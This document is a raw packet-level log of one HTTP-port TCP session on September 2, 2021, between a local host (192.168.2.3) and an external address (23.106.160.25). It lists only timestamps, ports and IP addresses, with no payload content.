Sep 2, 2021 05:59:47.291645050 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.291672945 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.291676044 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.291702986 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.291721106 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.291732073 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.291749954 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.291760921 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.291790962 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.291815042 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.291820049 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.291847944 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.291857004 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.291879892 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.291901112 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.291924000 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.291929960 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.291960001 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.291963100 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.292005062 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.292047024 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.464134932 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.464188099 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.464225054 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.464266062 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.464272022 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.464303017 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.464342117 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.464368105 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.464374065 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.464379072 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.464401007 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.464405060 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.464407921 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.464427948 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.464427948 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.464469910 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.464493036 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.464507103 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.464526892 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.464546919 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.464550972 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.464585066 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.464622974 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.464653015 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.464682102 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.464684963 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.464692116 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.464709997 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.464720011 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.464756012 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.464767933 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.464807034 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.464809895 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.464840889 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.464845896 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.464871883 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.464880943 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.464901924 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.464920044 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.464934111 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.464957952 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.464971066 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.465004921 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.465013981 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.465061903 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.465086937 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.465100050 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.465126991 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.465163946 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.465167046 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.465210915 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.465225935 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.465249062 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.465270042 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.465287924 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.465308905 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.465327024 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.465354919 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.465363979 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.465399981 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.465403080 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.465434074 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.465440035 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.465471029 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.465498924 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.465512037 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.465549946 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.465553999 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.465584993 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.465588093 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.465614080 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.465626001 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.465652943 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.465673923 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.465686083 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.465715885 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.465732098 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.465753078 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.465770960 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.465792894 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.465804100 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.465831041 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.465843916 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.465867996 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.465881109 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.465905905 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.465917110 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.465944052 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.465962887 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.465991020 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.466032982 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.466059923 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.466068983 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.466069937 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.466108084 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.466135979 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.466140032 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.466145039 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.466181993 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.466203928 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.466212034 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.466218948 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.466231108 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.466257095 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.466272116 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.466304064 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.466309071 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.466346025 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.466358900 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.466382980 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.466398954 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.466420889 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.466429949 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.466459036 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.466481924 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.466495037 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.466523886 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.466532946 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.466557980 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.466571093 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.466584921 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.466614008 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.466618061 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.466660023 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.466665030 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.466696024 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.466701031 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.466733932 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.466739893 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.466773987 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.466779947 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.466809988 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.466825962 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.466847897 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.466857910 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.466885090 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.466888905 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.466928005 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.466931105 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.466972113 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.466975927 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.467008114 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.467022896 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.467046022 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.467052937 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.467083931 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.467093945 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.467130899 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.467164040 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.467205048 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.467215061 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.467242002 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.467248917 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.467281103 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.467300892 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.467328072 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.467344046 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.467369080 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.467371941 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.467406034 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.467417002 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.467443943 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.467479944 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.467482090 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.467515945 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.467519045 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.467538118 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.467556953 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.467571020 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.467602015 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.467614889 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.467653036 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.467654943 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.467696905 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.467709064 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.467735052 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.467746973 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.467775106 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.467808962 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.467813969 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.467830896 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.467850924 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.467878103 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.467890024 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.467901945 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.467927933 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.467947006 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.467977047 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.467997074 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.468019009 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.468025923 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.468055010 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.468065977 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.468095064 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.468106985 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.468133926 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.468144894 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.468185902 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.640341043 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.640398026 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.640435934 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.640476942 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.640508890 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.640598059 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.640638113 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.640680075 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.640718937 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.640722036 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.640757084 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.640808105 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.640851021 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.640892029 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.640947104 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.640959024 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.640959024 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.640997887 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.641001940 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.641033888 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.641073942 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.641112089 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.641117096 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.641149044 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.641185999 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.641223907 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.641271114 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.641314030 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.641351938 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.641419888 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.641450882 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.641479015 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.641508102 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.641539097 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.641561985 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.641598940 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.641628981 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.641652107 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.641680956 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.641702890 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.641732931 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.641755104 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.641784906 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.641815901 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.641839027 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.641993999 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.642009974 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.642015934 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.642020941 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.642025948 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.642031908 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.642031908 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.642036915 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.642041922 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.642046928 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.642050982 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.642055988 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.642062902 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.642067909 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.642072916 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.642077923 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.642082930 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.642086983 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.642087936 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.642092943 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.642097950 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.642102957 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.642107964 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.642112970 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.642118931 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.642123938 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.642129898 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.642134905 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.642137051 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.642139912 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.642146111 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.642151117 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.642155886 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.642160892 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.642183065 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.642242908 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.642244101 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.642256975 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.642290115 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.642321110 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.642371893 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.642383099 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.642404079 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.642406940 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.642410040 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.642432928 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.642438889 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.642462969 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.642463923 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.642488956 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.642493010 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.642518997 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.642524004 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.642543077 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.642554998 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.642585993 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.642590046 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.642621994 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.642625093 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.642654896 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.642685890 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.642715931 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.642745018 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.642774105 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.642797947 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.642803907 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.642833948 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:47.642869949 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:47.642870903 CEST	80	49707	23.106.160.25	192.168.2.3
